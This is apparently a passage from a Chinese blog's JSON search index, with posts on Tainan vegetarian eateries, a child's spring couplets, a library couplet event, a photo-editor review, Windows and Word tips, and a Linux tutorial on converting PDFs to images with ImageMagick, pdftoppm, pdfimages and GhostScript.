理善蔬食：咖啡、簡餐、火鍋，適合團體聚餐，近南科（下篇）"},{"content":"清祺早點是台南市的一家很有特色的素食早餐店，有許多台式早餐與港式小點，料理種類豐富，美味可口。\n清祺早點（清祺素食點心部）位在台南市的青年路上，剛好在臺灣府城隍廟隔壁，屬於中價位的素食小吃，由於他們絕無僅有的台式、港式點心，在其他地方很難吃的到，而且各種餐點都很好吃，所以平常生意都很好。\n店名：清祺早點（清祺素食點心部）\n地址：台南市中西區青年路 135 號（臺灣府城隍廟旁）\n電話：(06) 228-5781\n營業時間：早餐 4：30 ～ 11:30、下午 14：00 ～ 21：00\n網站：facebook 粉絲專頁（非官方）\n網路食記：Mimi韓、阿阿叫\n清祺早點距離台南火車站很近，走路不到十五分鐘，交通算方便，但是缺點是這附近沒有什麼車位，開車來的話可能要停在附近的停車場。\n清祺早點今年過年期間都照常營業，而我們是大年初三早上來這裡用餐，從早上七點多到九點多，人潮都像這樣門庭若市，把店門口擠得滿滿的，生意實在是非常好。\n門口擺放了各式各樣的台、港式早點，全部都是素食的（全素、蛋奶素）。\n這是用燒餅包著類似手捲的四季餅，色香味俱全。\n這是燒賣。\n這是芋頭糕。\n這一盤是炸春捲。\n這一盤是芝麻球，裡面包的是甜的紅豆餡。\n這一盤是小的菜包。\n以下幾種餐點我不確定是什麼名字。\n這是剛剛炸好的春捲。\n自己拿盤子裝好餐點之後，再拿到裡面的櫃台結帳，若要外帶的話，可改用紙餐盒來裝。\n這裡有清楚的價目表，他們除了早餐之外，下午之後也有營業，而供應的餐點不同。\n因為平常不太會有機會來這邊吃早餐，所以這次來用餐的時候，就把現場能夾的餐點都夾一點來嘗嘗看。\n這是第二盤，每一樣看起來都很漂亮。\n飲料的部分，有一般的米漿與豆漿。\n這一杯是玉米濃湯。\n這一盤是傳統的蛋餅。\n蛋餅如果要想要切的話，可以自己去拿櫃台拿剪刀來剪。\n切塊之後比較方便吃。\n需要醬料的話，可以自己去盛裝。\n以下是各種餐點的餡料。\n這一道的內餡我不確定是什麼，不過它是鹹的。\n春捲大家應該都很熟悉。\n芝麻球裡面是甜的紅豆餡。\n以下兩道我也不太清楚它們的名字。\n這是道地的艾草粿，內餡是菜脯米。\n這是小的菜包，裡面主要是高麗菜。\n這是大的菜包，一般這種大菜包都是包雪裡紅，不過它們這裡好像是包剁碎的青江菜與乾香菇。\n以下是阿玄來這裡用餐的照片。\n","permalink":"https://blog.gtwang.org/life/qing-qi-vegetarian-breakfast-tainan-20180218/","summary":"\u003cp\u003e清祺早點是台南市的一家很有特色的素食早餐店，有許多台式早餐與港式小點，料理種類豐富，美味可口。\u003c/p\u003e\n\u003cp\u003e清祺早點（清祺素食點心部）位在台南市的青年路上，剛好在臺灣府城隍廟隔壁，屬於中價位的素食小吃，由於他們絕無僅有的台式、港式點心，在其他地方很難吃的到，而且各種餐點都很好吃，所以平常生意都很好。\u003c/p\u003e","title":"[台南素食] 清祺早點：台式早餐、港式點心"},{"content":"本篇紀錄今年（2018 年）阿玄自己寫的春聯。\n過年前阿玄說要自己寫春聯，所以我就帶他到書局買了一疊正方形的春聯紙，加上一隻黑色的簽字筆，讓他自己寫春聯。\n剛開始寫的時候，他是先在白紙上練習，知道怎麼寫之後，他就直接寫在春聯紙上了。由於這次寫春聯是阿玄臨時說要寫的，所以剛開始寫的時候，手邊沒有相機，就用手機錄影，這是第一天寫春聯的紀錄影片。\n後來幾天在寫的時候，我就有用相機拍照了，以下是阿玄寫春聯的照片紀錄。\n下面幾張是回到爺爺奶奶家現場寫春聯的紀錄。\n寫完直接貼在冰箱上。\n","permalink":"https://blog.gtwang.org/personal/qixuan-spring-festival-couplets-2018/","summary":"\u003cp\u003e本篇紀錄今年（2018 年）阿玄自己寫的春聯。\u003c/p\u003e\n\u003cp\u003e過年前阿玄說要自己寫春聯，所以我就帶他到書局買了一疊正方形的春聯紙，加上一隻黑色的簽字筆，讓他自己寫春聯。\u003c/p\u003e","title":"阿玄自己寫春聯紀錄"},{"content":"理善蔬食是台南善化的一家環境清悠的素食餐廳，價格便宜、餐點美味、服務親切、用餐環境寬敞又舒適、停車也方便，靠近南科，非常適合團體聚餐。\n在南科附近若要找一個適合團體聚會的素食餐廳，在以前沒什麼選擇的時候，可能都會去田園花果茶餐飲坊，而後來新開的一家禾米蔬食也很不錯，但是這兩家的座位都不多，用餐的空間也比較小，若人比較多的話（例如十人以上），就不一定會有位子了。\n理善蔬食是 2017 年初開的一家素食餐廳（大約跟禾米蔬食差不多時間開張），它的餐點口味很棒、價位平實，服務人員態度親切，用餐空間寬敞、環境清悠，停車也非常方便，我個人感覺理善蔬食是目前南科附近團體聚餐場所的首選，非常推薦大家來這邊用餐！\n店名：理善蔬食\n地址：台南市善化區烏橋中路 108 號\n電話：(06) 581-2378、(06) 581-2377\n營業時間：中午 10：00 ～ 14：00，晚上 16：00 ～ 19：30\n網站：facebook 粉絲專頁\n備註：週一公休\n本篇是我們家人第一次來用餐的紀錄，而後來我們又帶了許多親友來這邊聚餐，更多的餐點照片可參考下一篇的團體聚餐紀錄文章。\n理善蔬食位於台南市政府警察局善化分局附近，剛好就在南科的北方，從南科過去的話距離比善化市區更近，交通非常方便。從興農路（178 號縣道）上就可以看的到理善蔬食的建築物。\n門口的招牌不明顯，不過這裡也沒有其他的建築物，所以應該不會太難找。\n裡面有專屬的停車場，如果停滿的話，外面兩邊馬路都是農田，路邊停車也都非常方便。\n門口有庭園景觀，在這裡用餐可以享受田園的景色。\n這裡也有戶外的座位，在這裡喝咖啡感覺應該很不錯。\n還有幾張露天的咖啡座，天氣好的話，在這裡喝咖啡應該很棒。\n室內的座位數量非常多，而且空間寬敞，讓人感覺很舒服。今天中午因為要拍照，所以十一點就到了，這時候還沒有其他的客人。\n這次我們是過年期間來這邊用餐，有一邊擺放中式的圓桌。\n另外一邊則是西式的方桌。\n整個用餐區非常大，應該至少可以容納近百人，非常適合團體聚餐。假日來這邊用餐的話，記得預先訂位。\n這是理善蔬食的菜單，有米食類、麵食類、火鍋類、咖啡與茶飲等。\n今天我們是自己來吃，點了三份餐點，總共 500 元，不收服務費。\n一開始會先上飲水與一碟蝶豆花果凍。\n小朋友來用餐的話，服務生會準備兒童餐具，很貼心的服務。\n阿玄很喜歡吃這個蝶豆花果凍，連我的份都吃掉了。\n接著就是主要的餐點，這是南瓜牛奶鍋，食材都很新鮮，火鍋湯頭也很不錯。\n火鍋還有附贈一大杯酸梅湯。\n這杯酸梅湯的味道還不錯，阿玄說很好喝。\n今天阿玄自己吃一鍋火鍋，心情很好。\n這一道是夏威夷炒飯，份量充足，一般男生應該都可以吃的飽。\n上面還有腰果。\n這是簡餐附帶的湯品，裡面的料很多。\n這一道是咖哩蛋包飯，一樣附帶一碗湯。\n份量同樣是很充足。\n咖哩蛋包飯裡面的飯是咖哩炒飯，炒飯中還有香煎豆包、香菇，料多又好吃。\n在用餐區旁邊有一個書櫃，裡面有一些書籍，還有許多童書，小朋友吃飽無聊的話，可以來這裡拿一些故事書來看。\n以下是一些阿玄的照片，今天來這裡用餐，阿玄心情很好。\n阿玄看我拿相機拍照，他也學我拿手機到處拍。\n阿玄這次來吃火鍋是給他自己一鍋，所以感覺很新鮮。\n","permalink":"https://blog.gtwang.org/life/li-shan-vegetarian-restaurant-shanhua-tainan-20180216/","summary":"\u003cp\u003e理善蔬食是台南善化的一家環境清悠的素食餐廳，價格便宜、餐點美味、服務親切、用餐環境寬敞又舒適、停車也方便，靠近南科，非常適合團體聚餐。\u003c/p\u003e\n\u003cp\u003e在南科附近若要找一個適合團體聚會的素食餐廳，在以前沒什麼選擇的時候，可能都會去\u003ca href=\"/life/pastoral-vegetarian-restaurant-shanhua-tainan/\"\u003e田園花果茶餐飲坊\u003c/a\u003e，而後來新開的一家\u003ca href=\"/life/he-mi-vegetarian-restaurant-shanhua-tainan-2017/\"\u003e禾米蔬食\u003c/a\u003e也很不錯，但是這兩家的座位都不多，用餐的空間也比較小，若人比較多的話（例如十人以上），就不一定會有位子了。\u003c/p\u003e","title":"[台南善化素食] 理善蔬食：咖啡、簡餐、火鍋，適合團體聚餐，近南科（上篇）"},{"content":"Movavi Photo Editor 是一套實用的照片編輯軟體，操作簡單、功能強大，適合一般人日常生活中編輯照片使用。\n現在的手機照相功能愈來愈強，數位相機也日益普及，拍攝照片對大家來說已經是家常便飯了，不過想要有好看的照片，除了攝影的技巧之外，照片的後製也很重要，縱使是攝影技術高超的專業攝影師，在照片拍攝完成後也一定會使用照片編輯軟體，進行一些校正與修補，讓照片更加完美。\n市面上的照片編輯工具有很多種，最專業的照片編輯軟體非 Photoshop 莫屬，其功能之強大自然不在話下，但是 Photoshop 屬於專業的修圖工具，對於一般人而言並不容易上手使用，如果您沒有任何編修照片的經驗，就不太適合直接使用 Photoshop 這樣的專業工具。\nMovavi Photo Editor 是一套操作簡單且實用的照片編輯工具軟體，它具備一般照片後製最常使用的功能，並加入許多智慧化的自動修圖工具，即便是對於照片編修沒有太多經驗的生手，也可以輕鬆使用它來進行照片的後製，產生令人驚豔的效果，以下是這套照片編輯軟體的功能介紹。\n基本影像調整 這是 Movavi Photo Editor 的操作畫面，上方有各種主要的功能類別，點選功能類別之後，可以在右方的面板上使用各種圖片編修功能。\n在「調整」類別中包含許多基本的色彩校正工具，例如白平衡、亮度、對比、飽和度、曝光、陰影、色溫、色調等，這些是所有的修圖軟體都一定會有的功能。\n如果感覺這些選項太多，不知道該怎麼調整的話，可以直接點選右上方的「Magic Enhance」（魔術增強）功能，讓它自動選擇最好的色彩調整方式，使用者只需要調整單一個強度選項即可。\n對於沒有什麼修圖驗的人，「Magic Enhance」會是相當好用的工具，只要點一下滑鼠，就可以完成色彩的校正。\n效果 在「效果」類別中，有很多的圖片的特效與風格可以使用，只要使用滑鼠點選喜歡的特效，馬上就可以看到結果，有時候套用適當的特效，可以讓照片看起來更有情境。\n其所提供的效果種類還滿豐富的。\n人像修飾功能 人像的修飾功能是 Movavi Photo Editor 主要的特色之一，它有各式各樣的自動化人臉編修工具，功能豐富、且使用方式都很單純，\n這部分的功能非常多，肌膚的部分有「美肌」、「撫平皺紋」、「移除瑕疵」、「去除油光」、「粉底」、「腮紅」，眼睛部分有「消除紅眼」、「眼部放大」、「眼影」、「睫毛膏」、「眉筆」，嘴巴的部分有「嘴唇顏色」、「牙齒美白」，另外還有「髮色」、「瘦臉」與「調整形狀工具」。\n大部分的人像修飾工具的操作都很簡單，只要選擇正確的編修部位，再用筆刷在照片上塗抹編修區域即可，由於這部分的功能實在是太多了，我只挑選其中幾種來示範。\n美肌功能 拍攝人像時，如果皮膚表面太粗糙，就可以使用「美肌」功能來修補。\n筆刷的大小與修補效果的強弱可以從右側的面板上調整，通常修補時效果也不要調的太強，只要適當就好，這樣修補出來的效果會更自然。修完之後，皮膚會顯得更白淨。\n移除瑕疵 特寫的臉部照片最怕的就是皮膚上有斑點或痘痘，使用「移除瑕疵」功能可以輕鬆清除臉上的這些瑕疵，操作方式就是直接用滑鼠以修補的筆刷，在照片上的瑕疵部位塗一塗就可以了。\n修補好之後，痘痘就不見了。\n眼睛顏色 如果想要改變眼睛的顏色，可以使用「眼睛顏色」功能，調整筆刷大小與顏色後，在眼球的位置點一下。\n這樣就可以更換眼睛的顏色了。\n眼部放大 如果想要讓人像的眼睛放大一點，像少女卡通中的人物一樣，就可以使用「眼部放大」功能。\n這個功能是全自動的，它會先自動偵測人臉的位置，接著我們只要在右側版面調整眼睛的大小即可。\n調整好之後，眼睛就自動變大了，這個功能的效果真的很令人訝異，結果感覺也很自然。\n頭髮顏色 若要修正頭髮的顏色，可以使用「髮色」功能，選擇筆刷大小與顏色後，再以滑鼠在頭髮上塗一塗就可以改變頭髮的顏色了。下面這張是我把頭髮顏色加深後的結果，我只用了幾十秒大約塗一塗，結果很不錯，看不太出來有被塗過的痕跡。\n物件移除 物件的移除是 Movavi Photo Editor 中非常好用的功能，它可以讓我們把照片上礙眼的物件移除，而且自動把移除物件的位置修補好，效果真的會令人嚇一跳。\n下面這張是原始的圖片，假設我們想要把中間的兩隻迴紋針移除掉，由於這部份是有一些背景紋理的，如果用普通的橡皮擦來擦的話，擦過的地方會非常突兀。\n這種狀況我們就可以用「物件移除」的功能來處理，首先使用它的筆刷把要移除的物件塗一塗，再按下「開始清除」。\n然後這兩隻迴紋針就真的不見了！而且原本的位置還依然呈現很自然的紋理，這個功能我推測應該是有引入 AI 相關的演算法，自動根據周圍的紋理推算被刪除的部份，做的非常棒。\n因為這個功能實在太有趣了，我又找了一張圖來測試，這次是木頭桌面。\n結果依然非常完美，完全察覺不出來有被修過的痕跡。\n變更背景 照片的去背也是後製常見的工作，使用「變更背景」功能時，只要用綠色筆刷塗一下前景，再用紅色筆刷塗一下背景，它就會自動判斷前景與背景的區域，如果有誤判的區域，就再用筆刷修正一下，通常幾十秒就可以輕鬆將前景與背景分離。\n下一步是細部的處理，例如一些半透別的部份，或是頭髮的邊緣、髮絲等。\n這樣就可以將背景去除了，接著就可以放上新的背景圖。\n新的背景圖放上去之後，就完成了。\n文字 若要在照片上加入文字，可用「文字」功能，文字的字型、大小、顏色等選項可從面板上選擇，放上文字時也可以自由放大、縮小與旋轉。\n還可以加上自己喜好的框編。\n去除雜訊 有時候在光線不足的場所拍照時，由於 ISO 值提高，照片很容易就會出現許多雜訊，這時候就可以用「去除雜訊」的功能，自動把照片中的雜點去除。\n去除雜訊之後，照片就會顯得比較乾淨一些。\n其他功能 Movavi Photo Editor 還有許多其他的功能，操作介面都還不錯，例如「旋轉照片」時，會自動進行裁切，把周圍不完整的部份切除。\n「裁剪」功能可以自由剪裁照片的大小，或是從右側面板選擇常見的比例來剪裁。\n它還有一個比較照片編輯前後的檢視功能，可以讓我們觀察編修後的照片與原圖的差異。\n總體來說，Movavi Photo Editor 的設計還不錯，適合一般人在日常生活中處理自己拍攝的照片，操作簡單、效果也很好，有興趣的人可以從 Movavi 照片編輯軟體的官方網站下載使用。\n","permalink":"https://blog.gtwang.org/useful-tools/movavi-photo-editor-5-review-201802/","summary":"\u003cp\u003e\u003ca href=\"https://www.movavi.com/zh/photo-editor/\"\u003eMovavi Photo Editor\u003c/a\u003e 是一套實用的照片編輯軟體，操作簡單、功能強大，適合一般人日常生活中編輯照片使用。\u003c/p\u003e\n\u003cp\u003e現在的手機照相功能愈來愈強，數位相機也日益普及，拍攝照片對大家來說已經是家常便飯了，不過想要有好看的照片，除了攝影的技巧之外，照片的後製也很重要，縱使是攝影技術高超的專業攝影師，在照片拍攝完成後也一定會使用照片編輯軟體，進行一些校正與修補，讓照片更加完美。\u003c/p\u003e","title":"Movavi Photo Editor 照片編輯工具軟體"},{"content":"這裡介紹如何移除 Windows 10 開始功能表的建議軟體功能，讓選單更乾淨。\nWindows 10 預設會隨機在開始功能表中顯示推薦的軟體，不過這個功能對於不想隨便加裝軟體的人，其實是沒有太多用處的，反而就像是廣告一樣造成干擾。\n以下是把這個建議軟體功能關閉的步驟。 Step 1\n在 Windows 10 的主選單中，點選「設定」。\nStep 2\n選擇「個人化」。\nStep 3\n從左側的分類選單中選擇「開始」，接著將「偶爾在[開始]顯示建議」這個功能關閉。\n這樣就可以讓 Windows 10 的開始功能表不會再顯示建議軟體的廣告了。\n解除安裝軟體 如果想要把之前安裝的軟體移除掉，只要在選單圖示上按下右鍵，從右鍵選單中選擇「解除安裝」即可。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/windows/how-to-get-rid-of-suggested-apps-in-windows-10/","summary":"\u003cp\u003e這裡介紹如何移除 Windows 10 開始功能表的建議軟體功能，讓選單更乾淨。\u003c/p\u003e\n\u003cp\u003eWindows 10 預設會隨機在開始功能表中顯示推薦的軟體，不過這個功能對於不想隨便加裝軟體的人，其實是沒有太多用處的，反而就像是廣告一樣造成干擾。\u003c/p\u003e","title":"如何移除 Windows 10 開始功能表的建議軟體功能？"},{"content":"今天台南西港圖書館，舉辦了一場閱讀慶新年贈春聯活動，只要借閱十本書，就可以免費索取現場寫的春聯。\n今天剛好要去書館還書，並且續借一些書籍，剛好遇到台南西港圖書館舉辦的「閱讀慶新年贈春聯」活動，一次借十本書就可以免費領取現場寫的春聯，這個活動的時間很短，只有二月十號一個早上的時間而已，今天運氣不錯，剛好被我遇到。\n這是圖書館的活動公告。\n現場寫春聯的老師有兩位，一位是郭源下老師，另外一位是黃華堂老師。\n這些春聯都是書法老師在現場寫的。\n這是書法老師在現場寫春聯的影片。\n這些都是剛寫好的春聯，放在旁邊等墨汁乾。\n春聯有兩種，一種是七言吉字，另一種是四言吉字，四言吉字的數量較少（只有二十張），只有比較早來的人可以領取，領完就沒有了。\n這是另外一位書法老師。\n只要借閱十本書，櫃台就會送這兩張春聯兌換卷（四字吉言數量很少，後來的人就沒有了），接著就可以拿兌換卷去選春聯。\n我們家剛好有兩張借書證，一人借十本，所以今天就換了兩疊七字吉言與兩張四字吉言的春聯，這樣今年的春聯就不必買了。\n這是我們拿回家之後，貼在自己家門上的樣子，其中一幅貼在頂樓的陽台大門。\n另外一幅就貼在一樓的大門上。\n這是兩幅四字吉言的春聯。\n","permalink":"https://blog.gtwang.org/life/writing-spring-festival-couplets-in-sigang-library-20180210/","summary":"\u003cp\u003e今天台南西港圖書館，舉辦了一場閱讀慶新年贈春聯活動，只要借閱十本書，就可以免費索取現場寫的春聯。\u003c/p\u003e\n\u003cp\u003e今天剛好要去書館還書，並且續借一些書籍，剛好遇到台南西港圖書館舉辦的「閱讀慶新年贈春聯」活動，一次借十本書就可以免費領取現場寫的春聯，這個活動的時間很短，只有二月十號一個早上的時間而已，今天運氣不錯，剛好被我遇到。\u003c/p\u003e","title":"台南西港圖書館，閱讀慶新年贈春聯活動"},{"content":"這裡介紹如何更改 Word 文件的背景顏色，設定為深色底、淺色字，讓眼睛閱讀文字更舒服。\nWord 是在 Windows 系統上最普遍的文書處理軟體，大多數人都會使用 Word 來打報告或撰寫文章，但是由於 Word 預設的配色是白底黑字，打字打久了可能會讓眼睛容易疲勞。\n遇到這樣的困擾，其實可以在打字時先把 Word 文件的背景顏色調整為深色系的顏色，等到打字與校稿完成後，再改回正常的顏色，這樣可以讓眼睛看起來更舒服，以下是一些調整 Word 文件背景顏色的技巧。\n背景顏色 若要更改 Word 文件的背景顏色，可以在「設計」籤頁中選擇「頁面色彩」，更改背景的顏色。\n一般來說，黑底白字可以讓眼睛看起來更舒服一些。\n而灰底白字有時候看起來會比純黑底更好一些，更不會對眼睛造成刺激。\n深綠色的背景有是不錯的選擇。\n有些人可能也會喜憨深藍色的底色。\n填滿效果 如果感覺單一色調的背景太單調，也可以選擇「填滿效果」，讓背景加入一些變化。\n漸層是最基本的填滿效果，這裡有許多種漸層的選項可以自由調整。\n使用漸層的好處是可以讓背景多一些變化，看起來美觀而又不容易干擾文字。\n另外一種常見的填滿效果是使用材質。\n選擇深色的材質，配上白色的文字也還不錯，不過材質的花紋要挑選一下，以免背景太花，讓文字看不清楚。\n淺色淡淡的花紋背景，也可以讓眼睛看起來比純白色舒服一些。\n取消背景顏色 當我們打字與校稿完成後，就可以把背景取消，排版成正式的稿件。若要取消背景顏色或是填滿效果，可以從「頁面色彩」中點選「無色彩」即可將背景恢復為正常的白色。\n參考資料 Office ","permalink":"https://blog.gtwang.org/windows/word-how-to-change-background-color/","summary":"\u003cp\u003e這裡介紹如何更改 Word 文件的背景顏色，設定為深色底、淺色字，讓眼睛閱讀文字更舒服。\u003c/p\u003e\n\u003cp\u003eWord 是在 Windows 系統上最普遍的文書處理軟體，大多數人都會使用 Word 來打報告或撰寫文章，但是由於 Word 預設的配色是白底黑字，打字打久了可能會讓眼睛容易疲勞。\u003c/p\u003e","title":"Word 變更文件的背景或色彩，深色底淺色字保護眼睛"},{"content":"這裡介紹各種在 Linux 下將 PDF 檔轉為圖片檔的指令工具，並提供實用的自動化指令稿，解決大量轉檔問題。\n最近我手上有非常大量的 PDF 檔案需要放在網頁上讓人瀏覽，但是因為有些 PDF 檔案非常大，如果直接放在網頁上觀看的話，使用者會需要等待整個 PDF 檔都下載完成後，才能觀看，效率不是很好。\n另外我也希望的這些 PDF 檔案有基本的防拷保護，讓人可以自由觀看，但不要輕易就全部下載回去。\n考量效率以及防考功能，最簡單的作法應該就是把 PDF 的每一頁都轉成圖片檔，放在網頁中使用一般的 JavaScript 圖庫工具來處理，這樣使用者每次只需要下載單頁的圖檔，速度會比較快，若使用者要下載，就只能下載單頁的圖片（雖然對於高手沒差，不過至少有基本的防護）。\n以下我整理了幾種 Linux 系統上可以把 PDF 檔轉為圖片檔的指令工具，並且提供自動化的指令稿，可以自動處理大量的 PDF 轉檔工作。\nImageMagick ImageMagick 是一套功能強大的圖片處理工具箱，若要將 PDF 檔案轉為圖檔，可以使用其 convert 轉檔指令：\n# 使用 ImageMagick 將 PDF 檔轉為 JPG 圖片檔 convert -density 300 input.pdf -quality 90 output.jpg 這裡的 -density 參數是指定輸出圖檔的每英寸點數（dpi），300 是普通的品質，若想要解析度高一點，可以設定為 400 或 600。而 -quality 參數是指定圖片壓縮層級。\n執行後，ImageMagick 就會以使用者指定的輸出檔名，再加上自動的編號來產生每一頁的圖檔名稱，把 PDF 的每一頁各儲存成一張圖檔。轉出來的結果會像這樣：\n輸出圖檔格式 ImageMagick 支援許多種輸出圖檔格式，若要輸出其他格式的圖檔，就直接更改輸出檔名的副檔名即可：\n# 將 PDF 檔轉為 PNG 圖片檔案 convert -density 300 input.pdf -quality 90 output.png 選擇部分頁面 如果只想要轉換 PDF 檔中的部分頁面，可以使用中括號來指定頁碼（從 0 開始算起）：\n# 只抽取 input.pdf 的第五頁，轉為 JPG 檔 convert -density 300 input.pdf[4] -quality 90 output.jpg # 只抽取 input.pdf 的前三頁，轉為 JPG 檔 convert -density 300 input.pdf[0-2] -quality 90 output.jpg 去除白色邊緣 一般的 PDF 文件一定都會有周圍的白邊，如果不想讓周圍的空白區域佔去太多版面，可以加上 -trim 讓 ImageMagick 自動把白邊去除：\n# 自動去除白色邊緣 convert -density 300 input.pdf -quality 90 -trim output.jpg 產生的結果會類似這樣：\nImageMagick 去除白邊的方法是以最角落的像素顏色為準，凡是跟最角落像素的顏色相同的邊緣就自動去除，如果想要放寬判斷邊緣的標準，可以使用 -fuzz 來指定放寬的門檻值。\n裁切區域 若要將轉出來的圖片進行裁切，取出部份的區域，可以加上 -extract 參數，並指定區域的大小與位置，以下是一個範例：\n# 裁切一個寬度為 960 像素、高度為 540 像素的區域， # 此區域距離左邊界 180 像素、距離上邊界 220 像素 convert -density 300 -extract 960x540+180+220 input.pdf output.jpg 輸出的結果會像這樣：\n黑色背景問題 有時候使用 convert 將 PDF 文件轉為 JPG 圖檔時，會產生黑色的背景，類似這樣：\n若遇到這樣的問題，可以加上 -alpha remove 或是 -alpha flatten 參數即可解決：\n# 解決 PDF 轉 JPG 產生黑色背景問題（方法一） convert -density 300 input.pdf -quality 90 -alpha remove output.jpg # 解決 PDF 轉 JPG 產生黑色背景問題（方法二） convert -density 300 input.pdf -quality 90 -alpha flatten output.jpg ImageMagick 雖然功能相當齊全，不過它的處理速度非常慢，若有處理速度上的考量，可以考慮下面要介紹的幾種轉換工具，請繼續閱讀下一頁。\npdftoppm pdftoppm 是 Linux 系統上專門用來將 PDF 檔案轉為圖檔的工具，轉檔速度比 ImageMagick 更快，效果也很相當不錯。其基本使用方式為：\n# 使用 pdftoppm 將 PDF 檔轉為 JPG 圖片檔 pdftoppm -r 300 -jpeg input.pdf output 其中 -r 參數可用來指定每英寸點數（dpi），而 -jpeg 是指定輸出圖檔格式為 JPG，這裡的輸出檔名不需要寫副檔名，pdftoppm 會以使用者指定的輸出檔名，再加上自動的編號與副檔名來產生每一頁的圖檔名稱，把 PDF 的每一頁各儲存成一張圖檔。轉出來的結果會像這樣：\n輸出圖檔格式 pdftoppm 這個工具在轉換 PDF 檔案時，若不指定輸出檔案格式的話，它會將 PDF 的頁面轉為 PPM 這種圖檔格式：\n# 預設會轉換為 PPM 圖片檔 pdftoppm -r 300 input.pdf output 但 PPM 這種圖檔格式比較不常用，通常我們都會加上一些參數，輸出比較常用的圖檔格式，除了 JPG 之外，它還支援 PNG 與 TIFF 等格式：\n# 轉換為 PNG 圖片檔 pdftoppm -png -r 300 input.pdf output # 轉換為 TIFF 圖片檔 pdftoppm -tiff -r 300 input.pdf output 選擇部分頁面 pdftoppm 支援好幾種頁面選擇方式。-f 參數與 -l 參數可以分別用來指定開始的頁碼與結束的頁碼（頁碼從 1 開始），例如：\n# 只抽取 input.pdf 的第二頁到第五頁，轉為 JPG 檔 pdftoppm -jpeg -r 300 -f 2 -l 5 input.pdf output 也可以使用 -o 與 -e 參數分別指定奇數頁與偶數頁：\n# 只抽取 input.pdf 的奇數頁，轉為 JPG 檔 pdftoppm -jpeg -r 300 -o input.pdf output # 只抽取 input.pdf 的偶數頁，轉為 JPG 檔 pdftoppm -jpeg -r 300 -e input.pdf output 若只需要轉換 PDF 檔的單一頁，可以加上 -singlefile 參數，這樣的話輸出檔名就不會加上任何編號：\n# 只轉換第一頁，輸出檔名不加編號 pdftoppm -jpeg -r 300 -singlefile input.pdf output # 只轉換第三頁，輸出檔名不加編號 pdftoppm -jpeg -r 300 -f 3 -singlefile input.pdf output 指定解析度 若要直接指定輸出圖檔的解析度，可以使用 -scale-to 參數，它可以讓使用者指定輸出圖檔的長邊長度，而比較短的那一邊的長度，則會依照比例自動計算：\n# 讓輸出圖檔的長邊長度為 640 像素 pdftoppm -jpeg -scale-to 640 input.pdf output 若要直接指定寬度或高度，可以用 -scale-to-x 或 -scale-to-y 參數，通常建議的作法是只指定寬度或高度，另一個數值設定為 -1，讓程式自動依比例計算，這樣輸出的圖檔才不會變形：\n# 讓輸出圖檔的寬度為 640 像素，高度依比例調整 pdftoppm -jpeg -scale-to-x 640 -scale-to-y -1 input.pdf output # 讓輸出圖檔的高度為 640 像素，寬度依比例調整 pdftoppm -jpeg -scale-to-x -1 -scale-to-y 640 input.pdf output 裁切區域 若要裁切輸出的圖形，只留下部份的區域，可以使用 -W 與 -H 指定區域的大小，並以 -x 與 -y 指定區域的位置，例如：\n# 裁切一個寬度為 640 像素、高度為 360 像素的區域， # 此區域距離左邊界 60 像素、距離上邊界 80 像素 pdftoppm -jpeg -x 60 -y 80 -W 640 -H 360 input.pdf output 輸出的結果會像這樣：\npdfimages 前面介紹的 ImageMagick 與 pdftoppm 是將 PDF 檔案的整張頁面轉換為圖檔，但是如果我們想要把 PDF 檔案中所含有的圖片抽取出來，就必須改用 pdfimages 這個指令。\npdfimages 會以 PDF 檔案中的圖片為單位（一張頁面可能會包含好多張圖片），將每一張圖片抽取出來，儲存成個別的圖片檔。基本的使用方式如下：\n# 以 pdfimages 抽取 PDF 檔中的圖片 pdfimages -all input.pdf output 轉換出來的結果就會是一張一張個別的圖檔，沒有文字的部份：\npdfimages 預設也是會將圖片儲存成 PPM 圖檔格式，而加上 -all 可以盡量讓圖片儲存成其原始的格式。\n選擇部分頁面 如果只想要抽取部分頁面中的圖片，可以使用 -f 參數與 -l 參數分別指定開始的頁碼與結束的頁碼（頁碼從 1 開始），例如：\n# 只抽取 PDF 檔中第一頁至第三頁的圖片 pdfimages -f 1 -l 3 -all input.pdf output 列出圖片清單 如果想要先查詢 PDF 檔案中所有的圖片清單，不要馬上輸出圖檔，可以使用 -list 參數：\n# 列出圖片清單 pdfimages -list input.pdf page num type width height color comp bpc enc interp object ID x-ppi y-ppi size ratio -------------------------------------------------------------------------------------------- 1 0 image 600 750 index 1 8 image no 57 0 172 172 192K 44% 2 1 image 256 256 rgb 3 8 jpeg no 60 0 153 153 16.1K 8.4% 2 2 image 256 256 rgb 3 8 jpeg no 61 0 153 153 29.2K 15% 2 3 image 256 256 rgb 3 8 jpeg no 62 0 153 153 30.6K 16% 2 4 image 256 256 rgb 3 8 jpeg no 63 0 153 153 16.5K 8.6% 2 5 image 600 421 icc 3 8 image yes 149 0 540 539 581K 78% 4 6 image 449 316 index 1 8 image no 199 0 214 214 95.4K 69% 4 7 image 450 316 index 1 8 image no 200 0 215 215 91.8K 66% 4 8 image 448 316 index 1 8 image no 201 0 214 214 90.7K 66% 8 9 image 1272 768 index 1 8 image no 411 0 364 364 476K 50% 檔名加上頁碼 由於抽取出來的圖片會以圖片的順序來編號，若想要加上頁碼的資訊，可以使用 -p：\n# 讓圖片檔名加上頁碼 pdfimages -all -p input.pdf output GhostScript GhostScript 也可以將 PDF 檔轉逐頁換為圖片檔，不過它的語法較複雜，我只列出範例給大家參考：\n# 使用 GhostScript 將 PDF 檔轉為 JPG 圖片檔 gs -dNOPAUSE -dBATCH -sDEVICE=jpeg -r300 -sOutputFile=\u0026#39;page-%00d.jpg\u0026#39; input.pdf # 使用 GhostScript 將 PDF 檔轉為支援透明度的 PNG 圖片檔 gs -dNOPAUSE -dBATCH -sDEVICE=pngalpha -r300 -sOutputFile=\u0026#39;page-%00d.png\u0026#39; input.pdf 在 GNOME 桌面環境中，還有一個 PdfMod 應用程式，也可以將 PDF 檔轉為圖檔，不過他是圖形化介面的程式，有興趣的人可以參考看看。\n參考資料 maketecheasier HTG ","permalink":"https://blog.gtwang.org/linux/linux-convert-pdf-to-image-commands-tutorial-examples/","summary":"\u003cp\u003e這裡介紹各種在 Linux 下將 PDF 檔轉為圖片檔的指令工具，並提供實用的自動化指令稿，解決大量轉檔問題。\u003c/p\u003e\n\u003cp\u003e最近我手上有非常大量的 PDF 檔案需要放在網頁上讓人瀏覽，但是因為有些 PDF 檔案非常大，如果直接放在網頁上觀看的話，使用者會需要等待整個 PDF 檔都下載完成後，才能觀看，效率不是很好。\u003c/p\u003e","title":"Linux 將 PDF 